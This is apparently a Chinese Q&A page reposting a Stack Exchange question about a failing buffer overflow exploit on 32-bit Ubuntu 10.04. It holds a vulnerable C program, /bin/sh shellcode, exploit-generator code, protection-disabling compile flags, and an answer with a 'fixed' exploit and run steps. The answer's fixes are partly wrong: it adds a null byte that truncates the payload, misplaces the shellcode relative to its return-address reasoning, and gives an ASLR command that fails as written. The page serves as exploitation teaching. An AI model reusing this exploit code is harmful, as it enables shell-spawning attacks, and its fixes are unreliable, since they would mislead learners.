You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

针对存在漏洞的C程序的缓冲区溢出攻击执行失败问题排查

缓冲区溢出攻击后段错误排查

漏洞程序

#include <stdio.h>
#include <string.h>

void foo(char * name) {
   char buf[128];
   strcpy(buf, "The next step is... ");
   strcat(buf, name);
   strcat(buf, ".");
   puts(buf);
}
int main(int argc, char ** argv) {
   if (argc < 2)
      puts("请输入命令行参数。");
   else
      foo(argv[1]);
   return 0;
}

攻击代码

#include <stdio.h>
#include <string.h>

char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff"
                   "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31"
                   "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"
                   "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
                   "\x30\xf3\xff\bf";

int main() {
   int i;
   // 128字节缓冲区,20字节初始字符串,4字节旧EBP,4字节返回地址
   for (i=0; i<128-20-strlen(shellcode)+4+4; i++) printf("\x90");
   printf("%s", shellcode);
   return 0;
}

漏洞程序编译命令

gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c

调试信息

通过GDB获取buf地址:

(gdb) x/xb buf
0xbffff330:     0x88

当前环境为32位Ubuntu 10.04虚拟机,i r输出的寄存器信息如下:

截图显示ESP为0xbffff32c,EBP为0xbffff3b8,EIP为0xb7e1f4d3等寄存器值

问题

执行攻击后程序触发段错误,需排查是否遗漏地址覆盖或存在操作错误。


排查分析与解决建议

1. 核心错误:未覆盖返回地址

你的攻击代码只生成了NOP滑盖和shellcode,完全没有写入要覆盖的返回地址——这是段错误的直接原因。缓冲区溢出攻击的核心是将返回地址覆盖为shellcode的起始地址,让程序执行流跳转到shellcode,而不是默认的返回地址。

2. 溢出长度计算错误

漏洞程序中strcpy(buf, "The next step is... ")的实际长度是21字节(可通过strlen("The next step is... ")验证),但你在攻击代码中按20字节计算,导致填充的NOP长度偏移,无法精准覆盖到返回地址位置。

3. Shellcode存在无效字节

你的shellcode末尾的\xff\bf是错误格式(应为\xff\xbf),无效字节会破坏shellcode的完整性,导致执行失败。

4. 可能存在ASLR干扰

Ubuntu 10.04默认开启地址空间随机化(ASLR),会导致buf地址每次运行都变化,需先关闭ASLR:

sudo echo 0 > /proc/sys/kernel/randomize_va_space

修复后的攻击代码示例

#include <stdio.h>
#include <string.h>

// 修正后的有效shellcode
char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff"
                   "/bin/sh\x00\x5b\x89\x5b\x08\x31"
                   "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"
                   "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80";

#define BUF_SIZE 128
#define INIT_STR_LEN 21 // 初始字符串实际长度

int main() {
    char payload[BUF_SIZE + 4 + 4 + sizeof(shellcode)];
    int nop_len = BUF_SIZE - INIT_STR_LEN;

    // 填充NOP滑盖
    memset(payload, 0x90, nop_len);
    // 覆盖旧EBP(任意值即可)
    *(unsigned int*)(payload + nop_len) = 0xdeadbeef;
    // 覆盖返回地址:指向NOP滑盖起始,确保能滑到shellcode
    *(unsigned int*)(payload + nop_len + 4) = 0xbffff330 + nop_len;
    // 复制shellcode到payload末尾
    memcpy(payload + nop_len + 8, shellcode, sizeof(shellcode));

    printf("%s", payload);
    return 0;
}

验证步骤

  1. 关闭ASLR后,重新编译漏洞程序和攻击代码:
    gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c
    gcc -m32 -o exploit exploit.c
    
  2. 执行攻击:
    ./vuln $(./exploit)
    

内容的提问来源于stack exchange,提问作者Jan

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.06 09:40:57